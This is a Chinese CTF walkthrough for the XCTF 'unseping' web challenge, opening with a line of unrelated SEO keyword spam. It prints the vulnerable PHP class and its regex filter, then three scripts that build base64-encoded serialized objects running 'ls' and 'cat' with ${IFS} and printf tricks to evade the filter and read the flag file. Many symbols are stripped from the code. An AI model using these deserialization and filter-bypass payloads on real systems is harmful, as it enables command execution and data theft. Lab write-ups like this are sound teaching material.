搭建网站复杂吗,百度竞价广告的位置,北京做网站哪个好,百度站长平台注册导言#xff1a;
本文主要讲述在CTF竞赛中#xff0c;web类反序列化题目unseping。。
靶场链接#xff1a;攻防世界 (xctf.org.cn)
反序列化漏洞#xff1a;反序列化漏洞#xff08;二#xff09;_fst反序列化 rocksdb 字段值错误-CSDN博客
打开后可以看到#xff1…导言
本文主要讲述在CTF竞赛中web类反序列化题目unseping。。
靶场链接攻防世界 (xctf.org.cn)
反序列化漏洞反序列化漏洞二_fst反序列化 rocksdb 字段值错误-CSDN博客
打开后可以看到
可以看到是一段php代码根据这段代码可以看到这是一段反序列化题目。 并且在名为waf的函数中过滤了大部分的特殊字符。
并且是使用传参名为ctf的post类型传参。
?php
highlight_file(__FILE__);class ease{// 定义私有变量private $method;private $args;// 构造函数接收两个参数function __construct($method, $args) {$this-method $method;$this-args $args;}// 析构函数当对象被销毁时调用function __destruct(){// 如果方法在数组中则调用该方法if (in_array($this-method, array(ping))) {call_user_func_array(array($this, $this-method), $this-args);}} // ping方法接收一个参数执行exec函数function ping($ip){exec($ip, $result);var_dump($result);}// waf方法接收一个参数使用正则表达式进行过滤function waf($str){if (!preg_match_all(/(\|||;| |\/|cat|flag|tac|php|ls)/, $str, $pat_array)) {return $str;} else {echo dont hack;}}// __wakeup方法当对象被反序列化时调用function __wakeup(){// 遍历args数组对每个元素进行waf过滤foreach($this-args as $k $v) {$this-args[$k] $this-waf($v);}}
}// 接收POST参数ctf
$ctf$_POST[ctf];
// 对ctf进行base64解码并反序列化
unserialize(base64_decode($ctf));
?
此时就知道我们应该通过命令执行获取flag且绕过waf函数的过滤最后将序列化的payload并进行base64编码最后利用post请求进行发送即可
所以使用hackbar打开并选择post型传参。 构造payload
?php// 定义一个类ease
class ease{// 定义私有变量method和argsprivate $method;private $args;// 构造函数接收两个参数method和argsfunction __construct($method, $args) {$this-method $method;$this-args $args;}}
// 创建一个ease对象参数为ping和array(ls)
$a new ease(ping,array(ls));
// 将对象序列化
$b serialize($a);
// 输出序列化后的对象
echo $b;
echo/br;
// 将序列化后的对象进行base64编码
echo base64_encode($b);
?
将其运行后可以得到payload 使用hackbar发送后可以看到 flag在flag_1s_here文件夹内查看此文件夹的payload为
?php
class ease{// 定义私有变量method和argsprivate $method;private $args;// 构造函数接收两个参数method和argsfunction __construct($method, $args) {$this-method $method;$this-args $args;}}// 创建ease对象参数为ping和array(ls${IFS}flag_1s_here)
$onew ease(ping,array(ls${IFS}flag_1s_here));
// 将对象序列化
$s serialize($o);
// 将序列化后的对象进行base64编码
echo base64_encode($s);
? flag在flag_831b69012c67b35f.php文件夹内。
此时payload为
?php// 定义一个名为ease的类
class ease{
// 定义两个私有属性
private $method;
private $args;
// 构造函数接受两个参数
function __construct($method, $args) {$this-method $method;$this-args $args;
}}
// 创建一个ease对象参数为ping和数组
$a new ease(ping,array(cat${IFS}flag_1s_here$(printf${IFS}\57)flag_831b69012c67b35f.php));
// 将对象序列化
$b serialize($a);
// 输出序列化后的对象
echo $b;
echo/br;
// 将序列化后的对象进行base64编码
echo base64_encode($b);
?得到flag。